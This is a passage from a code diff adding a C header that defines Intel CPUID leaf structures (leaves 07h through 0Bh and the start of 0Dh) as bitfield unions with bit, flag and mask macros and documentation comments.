(Intel(R) Xeon Phi(TM) only). + */ + uint32_t prefetchwt1 : 1; +#define CPUID_ECX_PREFETCHWT1_BIT 0 +#define CPUID_ECX_PREFETCHWT1_FLAG 0x01 +#define CPUID_ECX_PREFETCHWT1_MASK 0x01 +#define CPUID_ECX_PREFETCHWT1(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] AVX512_VBMI. + */ + uint32_t avx512_vbmi : 1; +#define CPUID_ECX_AVX512_VBMI_BIT 1 +#define CPUID_ECX_AVX512_VBMI_FLAG 0x02 +#define CPUID_ECX_AVX512_VBMI_MASK 0x01 +#define CPUID_ECX_AVX512_VBMI(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] Supports user-mode instruction prevention if 1. + */ + uint32_t umip : 1; +#define CPUID_ECX_UMIP_BIT 2 +#define CPUID_ECX_UMIP_FLAG 0x04 +#define CPUID_ECX_UMIP_MASK 0x01 +#define CPUID_ECX_UMIP(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Supports protection keys for user-mode pages if 1. + */ + uint32_t pku : 1; +#define CPUID_ECX_PKU_BIT 3 +#define CPUID_ECX_PKU_FLAG 0x08 +#define CPUID_ECX_PKU_MASK 0x01 +#define CPUID_ECX_PKU(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] If 1, OS has set CR4.PKE to enable protection keys (and the RDPKRU/WRPKRU instructions). + */ + uint32_t ospke : 1; +#define CPUID_ECX_OSPKE_BIT 4 +#define CPUID_ECX_OSPKE_FLAG 0x10 +#define CPUID_ECX_OSPKE_MASK 0x01 +#define CPUID_ECX_OSPKE(_) (((_) >> 4) & 0x01) + uint32_t reserved1 : 12; + + /** + * [Bits 21:17] The value of MAWAU used by the BNDLDX and BNDSTX instructions in 64-bit mode. + */ + uint32_t mawau : 5; +#define CPUID_ECX_MAWAU_BIT 17 +#define CPUID_ECX_MAWAU_FLAG 0x3E0000 +#define CPUID_ECX_MAWAU_MASK 0x1F +#define CPUID_ECX_MAWAU(_) (((_) >> 17) & 0x1F) + + /** + * [Bit 22] RDPID and IA32_TSC_AUX are available if 1. + */ + uint32_t rdpid : 1; +#define CPUID_ECX_RDPID_BIT 22 +#define CPUID_ECX_RDPID_FLAG 0x400000 +#define CPUID_ECX_RDPID_MASK 0x01 +#define CPUID_ECX_RDPID(_) (((_) >> 22) & 0x01) + uint32_t reserved2 : 7; + + /** + * [Bit 30] Supports SGX Launch Configuration if 1. + */ + uint32_t sgx_lc : 1; +#define CPUID_ECX_SGX_LC_BIT 30 +#define CPUID_ECX_SGX_LC_FLAG 0x40000000 +#define CPUID_ECX_SGX_LC_MASK 0x01 +#define CPUID_ECX_SGX_LC(_) (((_) >> 30) & 0x01) + uint32_t reserved3 : 1; + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] EDX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EDX_RESERVED_BIT 0 +#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_07; + + +/** + * @brief Direct Cache Access Information Leaf + * + * When CPUID executes with EAX set to 09H, the processor returns information about Direct Cache Access capabilities. + */ +#define CPUID_DIRECT_CACHE_ACCESS_INFORMATION 0x00000009 +typedef struct +{ + union + { + struct + { + /** + * [Bits 31:0] Value of bits [31:0] of IA32_PLATFORM_DCA_CAP MSR (address 1F8H). + */ + uint32_t ia32_platform_dca_cap : 32; +#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_BIT 0 +#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_FLAG 0xFFFFFFFF +#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_MASK 0xFFFFFFFF +#define CPUID_EAX_IA32_PLATFORM_DCA_CAP(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 31:0] EBX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EBX_RESERVED_BIT 0 +#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] ECX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_ECX_RESERVED_BIT 0 +#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] EDX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_EDX_RESERVED_BIT 0 +#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_09; + + +/** + * @brief Architectural Performance Monitoring Leaf + * + * When CPUID executes with EAX set to 0AH, the processor returns information about support for architectural performance + * monitoring capabilities. Architectural performance monitoring is supported if the version ID is greater than Pn 0. For + * each version of architectural performance monitoring capability, software must enumerate this leaf to discover the + * programming facilities and the architectural performance events available in the processor. + * + * @see Vol3C[23(Introduction to Virtual-Machine Extensions)] + */ +#define CPUID_ARCHITECTURAL_PERFORMANCE_MONITORING 0x0000000A +typedef struct +{ + union + { + struct + { + /** + * [Bits 7:0] Version ID of architectural performance monitoring. + */ + uint32_t version_id_of_architectural_performance_monitoring : 8; +#define CPUID_EAX_VERSION_ID_OF_ARCHITECTURAL_PERFORMANCE_MONITORING_BIT 0 +#define CPUID_EAX_VERSION_ID_OF_ARCHITECTURAL_PERFORMANCE_MONITORING_FLAG 0xFF +#define CPUID_EAX_VERSION_ID_OF_ARCHITECTURAL_PERFORMANCE_MONITORING_MASK 0xFF +#define CPUID_EAX_VERSION_ID_OF_ARCHITECTURAL_PERFORMANCE_MONITORING(_) (((_) >> 0) & 0xFF) + + /** + * [Bits 15:8] Number of general-purpose performance monitoring counter per logical processor. + */ + uint32_t number_of_performance_monitoring_counter_per_logical_processor : 8; +#define CPUID_EAX_NUMBER_OF_PERFORMANCE_MONITORING_COUNTER_PER_LOGICAL_PROCESSOR_BIT 8 +#define CPUID_EAX_NUMBER_OF_PERFORMANCE_MONITORING_COUNTER_PER_LOGICAL_PROCESSOR_FLAG 0xFF00 +#define CPUID_EAX_NUMBER_OF_PERFORMANCE_MONITORING_COUNTER_PER_LOGICAL_PROCESSOR_MASK 0xFF +#define CPUID_EAX_NUMBER_OF_PERFORMANCE_MONITORING_COUNTER_PER_LOGICAL_PROCESSOR(_) (((_) >> 8) & 0xFF) + + /** + * [Bits 23:16] Bit width of general-purpose, performance monitoring counter. + */ + uint32_t bit_width_of_performance_monitoring_counter : 8; +#define CPUID_EAX_BIT_WIDTH_OF_PERFORMANCE_MONITORING_COUNTER_BIT 16 +#define CPUID_EAX_BIT_WIDTH_OF_PERFORMANCE_MONITORING_COUNTER_FLAG 0xFF0000 +#define CPUID_EAX_BIT_WIDTH_OF_PERFORMANCE_MONITORING_COUNTER_MASK 0xFF +#define CPUID_EAX_BIT_WIDTH_OF_PERFORMANCE_MONITORING_COUNTER(_) (((_) >> 16) & 0xFF) + + /** + * [Bits 31:24] Length of EBX bit vector to enumerate architectural performance monitoring events. + */ + uint32_t ebx_bit_vector_length : 8; +#define CPUID_EAX_EBX_BIT_VECTOR_LENGTH_BIT 24 +#define CPUID_EAX_EBX_BIT_VECTOR_LENGTH_FLAG 0xFF000000 +#define CPUID_EAX_EBX_BIT_VECTOR_LENGTH_MASK 0xFF +#define CPUID_EAX_EBX_BIT_VECTOR_LENGTH(_) (((_) >> 24) & 0xFF) + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bit 0] Core cycle event not available if 1. + */ + uint32_t core_cycle_event_not_available : 1; +#define CPUID_EBX_CORE_CYCLE_EVENT_NOT_AVAILABLE_BIT 0 +#define CPUID_EBX_CORE_CYCLE_EVENT_NOT_AVAILABLE_FLAG 0x01 +#define CPUID_EBX_CORE_CYCLE_EVENT_NOT_AVAILABLE_MASK 0x01 +#define CPUID_EBX_CORE_CYCLE_EVENT_NOT_AVAILABLE(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Instruction retired event not available if 1. + */ + uint32_t instruction_retired_event_not_available : 1; +#define CPUID_EBX_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE_BIT 1 +#define CPUID_EBX_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE_FLAG 0x02 +#define CPUID_EBX_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE_MASK 0x01 +#define CPUID_EBX_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] Reference cycles event not available if 1. + */ + uint32_t reference_cycles_event_not_available : 1; +#define CPUID_EBX_REFERENCE_CYCLES_EVENT_NOT_AVAILABLE_BIT 2 +#define CPUID_EBX_REFERENCE_CYCLES_EVENT_NOT_AVAILABLE_FLAG 0x04 +#define CPUID_EBX_REFERENCE_CYCLES_EVENT_NOT_AVAILABLE_MASK 0x01 +#define CPUID_EBX_REFERENCE_CYCLES_EVENT_NOT_AVAILABLE(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Last-level cache reference event not available if 1. + */ + uint32_t last_level_cache_reference_event_not_available : 1; +#define CPUID_EBX_LAST_LEVEL_CACHE_REFERENCE_EVENT_NOT_AVAILABLE_BIT 3 +#define CPUID_EBX_LAST_LEVEL_CACHE_REFERENCE_EVENT_NOT_AVAILABLE_FLAG 0x08 +#define CPUID_EBX_LAST_LEVEL_CACHE_REFERENCE_EVENT_NOT_AVAILABLE_MASK 0x01 +#define CPUID_EBX_LAST_LEVEL_CACHE_REFERENCE_EVENT_NOT_AVAILABLE(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] Last-level cache misses event not available if 1. + */ + uint32_t last_level_cache_misses_event_not_available : 1; +#define CPUID_EBX_LAST_LEVEL_CACHE_MISSES_EVENT_NOT_AVAILABLE_BIT 4 +#define CPUID_EBX_LAST_LEVEL_CACHE_MISSES_EVENT_NOT_AVAILABLE_FLAG 0x10 +#define CPUID_EBX_LAST_LEVEL_CACHE_MISSES_EVENT_NOT_AVAILABLE_MASK 0x01 +#define CPUID_EBX_LAST_LEVEL_CACHE_MISSES_EVENT_NOT_AVAILABLE(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] Branch instruction retired event not available if 1. + */ + uint32_t branch_instruction_retired_event_not_available : 1; +#define CPUID_EBX_BRANCH_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE_BIT 5 +#define CPUID_EBX_BRANCH_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE_FLAG 0x20 +#define CPUID_EBX_BRANCH_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE_MASK 0x01 +#define CPUID_EBX_BRANCH_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE(_) (((_) >> 5) & 0x01) + + /** + * [Bit 6] Branch mispredict retired event not available if 1. + */ + uint32_t branch_mispredict_retired_event_not_available : 1; +#define CPUID_EBX_BRANCH_MISPREDICT_RETIRED_EVENT_NOT_AVAILABLE_BIT 6 +#define CPUID_EBX_BRANCH_MISPREDICT_RETIRED_EVENT_NOT_AVAILABLE_FLAG 0x40 +#define CPUID_EBX_BRANCH_MISPREDICT_RETIRED_EVENT_NOT_AVAILABLE_MASK 0x01 +#define CPUID_EBX_BRANCH_MISPREDICT_RETIRED_EVENT_NOT_AVAILABLE(_) (((_) >> 6) & 0x01) + uint32_t reserved1 : 25; + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 31:0] ECX is reserved. + */ + uint32_t reserved : 32; +#define CPUID_ECX_RESERVED_BIT 0 +#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF +#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF +#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 4:0] Number of fixed-function performance counters (if Version ID > 1). + */ + uint32_t number_of_fixed_function_performance_counters : 5; +#define CPUID_EDX_NUMBER_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS_BIT 0 +#define CPUID_EDX_NUMBER_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS_FLAG 0x1F +#define CPUID_EDX_NUMBER_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS_MASK 0x1F +#define CPUID_EDX_NUMBER_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS(_) (((_) >> 0) & 0x1F) + + /** + * [Bits 12:5] Bit width of fixed-function performance counters (if Version ID > 1). + */ + uint32_t bit_width_of_fixed_function_performance_counters : 8; +#define CPUID_EDX_BIT_WIDTH_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS_BIT 5 +#define CPUID_EDX_BIT_WIDTH_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS_FLAG 0x1FE0 +#define CPUID_EDX_BIT_WIDTH_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS_MASK 0xFF +#define CPUID_EDX_BIT_WIDTH_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS(_) (((_) >> 5) & 0xFF) + uint32_t reserved1 : 2; + + /** + * [Bit 15] AnyThread deprecation. + */ + uint32_t any_thread_deprecation : 1; +#define CPUID_EDX_ANY_THREAD_DEPRECATION_BIT 15 +#define CPUID_EDX_ANY_THREAD_DEPRECATION_FLAG 0x8000 +#define CPUID_EDX_ANY_THREAD_DEPRECATION_MASK 0x01 +#define CPUID_EDX_ANY_THREAD_DEPRECATION(_) (((_) >> 15) & 0x01) + uint32_t reserved2 : 16; + }; + + uint32_t flags; + } edx; + +} cpuid_eax_0a; + + +/** + * @brief Extended Topology Enumeration Leaf + * + * When CPUID executes with EAX set to 0BH, the processor returns information about extended topology enumeration data. + * Software must detect the presence of CPUID leaf 0BH by verifying + * - the highest leaf index supported by CPUID is >= 0BH, and + * - CPUID.0BH:EBX[15:0] reports a non-zero value. + * + * @note Most of Leaf 0BH output depends on the initial value in ECX. The EDX output of leaf 0BH is always valid and does + * not vary with input value in ECX. Output value in ECX[7:0] always equals input value in ECX[7:0]. Sub-leaf index 0 + * enumerates SMT level. Each subsequent higher sub-leaf index enumerates a higherlevel topological entity in hierarchical + * order. For sub-leaves that return an invalid level-type of 0 in ECX[15:8]; EAX and EBX will return 0. If an input value + * n in ECX returns the invalid level-type of 0 in ECX[15:8], other input values with ECX > n also return 0 in ECX[15:8]. + */ +#define CPUID_EXTENDED_TOPOLOGY 0x0000000B +typedef struct +{ + union + { + struct + { + /** + * [Bits 4:0] Number of bits to shift right on x2APIC ID to get a unique topology ID of the next level type. All logical + * processors with the same next level ID share current level. + * + * @note Software should use this field (EAX[4:0]) to enumerate processor topology of the system. + */ + uint32_t x2apic_id_to_unique_topology_id_shift : 5; +#define CPUID_EAX_X2APIC_ID_TO_UNIQUE_TOPOLOGY_ID_SHIFT_BIT 0 +#define CPUID_EAX_X2APIC_ID_TO_UNIQUE_TOPOLOGY_ID_SHIFT_FLAG 0x1F +#define CPUID_EAX_X2APIC_ID_TO_UNIQUE_TOPOLOGY_ID_SHIFT_MASK 0x1F +#define CPUID_EAX_X2APIC_ID_TO_UNIQUE_TOPOLOGY_ID_SHIFT(_) (((_) >> 0) & 0x1F) + uint32_t reserved1 : 27; + }; + + uint32_t flags; + } eax; + + union + { + struct + { + /** + * [Bits 15:0] Number of logical processors at this level type. The number reflects configuration as shipped by Intel. + * + * @note Software must not use EBX[15:0] to enumerate processor topology of the system. This value in this field + * (EBX[15:0]) is only intended for display/diagnostic purposes. The actual number of logical processors available to + * BIOS/OS/Applications may be different from the value of EBX[15:0], depending on software and platform hardware + * configurations. + */ + uint32_t number_of_logical_processors_at_this_level_type : 16; +#define CPUID_EBX_NUMBER_OF_LOGICAL_PROCESSORS_AT_THIS_LEVEL_TYPE_BIT 0 +#define CPUID_EBX_NUMBER_OF_LOGICAL_PROCESSORS_AT_THIS_LEVEL_TYPE_FLAG 0xFFFF +#define CPUID_EBX_NUMBER_OF_LOGICAL_PROCESSORS_AT_THIS_LEVEL_TYPE_MASK 0xFFFF +#define CPUID_EBX_NUMBER_OF_LOGICAL_PROCESSORS_AT_THIS_LEVEL_TYPE(_) (((_) >> 0) & 0xFFFF) + uint32_t reserved1 : 16; + }; + + uint32_t flags; + } ebx; + + union + { + struct + { + /** + * [Bits 7:0] Level number. Same value in ECX input. + */ + uint32_t level_number : 8; +#define CPUID_ECX_LEVEL_NUMBER_BIT 0 +#define CPUID_ECX_LEVEL_NUMBER_FLAG 0xFF +#define CPUID_ECX_LEVEL_NUMBER_MASK 0xFF +#define CPUID_ECX_LEVEL_NUMBER(_) (((_) >> 0) & 0xFF) + + /** + * [Bits 15:8] Level type. + * + * @note The value of the "level type" field is not related to level numbers in any way, higher "level type" values do not + * mean higher levels. Level type field has the following encoding: + * - 0: Invalid. + * - 1: SMT. + * - 2: Core. + * - 3-255: Reserved. + */ + uint32_t level_type : 8; +#define CPUID_ECX_LEVEL_TYPE_BIT 8 +#define CPUID_ECX_LEVEL_TYPE_FLAG 0xFF00 +#define CPUID_ECX_LEVEL_TYPE_MASK 0xFF +#define CPUID_ECX_LEVEL_TYPE(_) (((_) >> 8) & 0xFF) + uint32_t reserved1 : 16; + }; + + uint32_t flags; + } ecx; + + union + { + struct + { + /** + * [Bits 31:0] x2APIC ID the current logical processor. + */ + uint32_t x2apic_id : 32; +#define CPUID_EDX_X2APIC_ID_BIT 0 +#define CPUID_EDX_X2APIC_ID_FLAG 0xFFFFFFFF +#define CPUID_EDX_X2APIC_ID_MASK 0xFFFFFFFF +#define CPUID_EDX_X2APIC_ID(_) (((_) >> 0) & 0xFFFFFFFF) + }; + + uint32_t flags; + } edx; + +} cpuid_eax_0b; + +/** + * @defgroup cpuid_eax_0d \ + * EAX = 0x0D + * + * When CPUID executes with EAX set to 0DH and ECX = 0, the processor returns information about the bit-vector + * representation of all processor state extensions that are supported in the processor and storage size requirements of + * the XSAVE/XRSTOR area. + * When CPUID executes with EAX set to 0DH and ECX = n (n > 1, and is a valid sub-leaf index), the processor returns + * information about the size and offset of each processor extended state save area within the XSAVE/XRSTOR area. Software + * can use the forward-extendable technique depicted below to query the valid sub-leaves and obtain size and offset + * information for each processor extended state save area: + *